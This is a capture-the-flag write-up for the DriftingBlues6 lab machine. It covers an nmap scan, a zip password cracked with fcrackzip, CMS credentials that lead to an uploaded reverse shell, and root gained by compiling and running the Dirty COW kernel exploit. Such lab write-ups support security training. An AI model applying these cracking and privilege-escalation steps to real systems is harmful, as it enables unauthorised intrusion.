# Proving grounds Play: DriftingBlues6
Proving grounds Play - DriftingBlues6 CTF writeup.
### Nmap
```sh
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern
```
### Web PORT: 80
### Fuzzing for files
/robots.txt
**Robots File**
```
User-agent: *
Disallow: /textpattern/textpattern
dont forget to add .zip extension to your dir-brute
;)
```
#### Login
Zip file found at `http://192.168.151.219/spammer.zip`. File is password protected and which can be easliy cracked using `fcrackzip` tool.
```sh
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt spammer.zip
```
Extracted password: `myspace4`
Extracted `creds.txt` has login credentials for the CMS application.
```
mayer:lionheart
```
Login to the application and upload reverse shell.
Checked the document root configuration and triggered the reverse shell file.
**Initial foothold obtained**
### Privilege Escalation
Check the kernel version to escalate privileges.
```sh
uname -a
Linux driftingblues 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux
```
Linux kernel <3.2.0-4-amd64 is vulnerable to [Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)](https://www.exploit-db.com/exploits/40839).
Download the exploit into the attacking machine and compile the code as mentioned in the exploit.
Run the exploit as follow:
```sh
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password #password is the password for the user firefart created by the exploit
```
Switch user to `firefart` and use the password `password`.
**Root shell obtained**
Thanks for reading!
For more updates and insights, follow me on Twitter: [@thevillagehacker](https://twitter.com/thevillagehackr).
---
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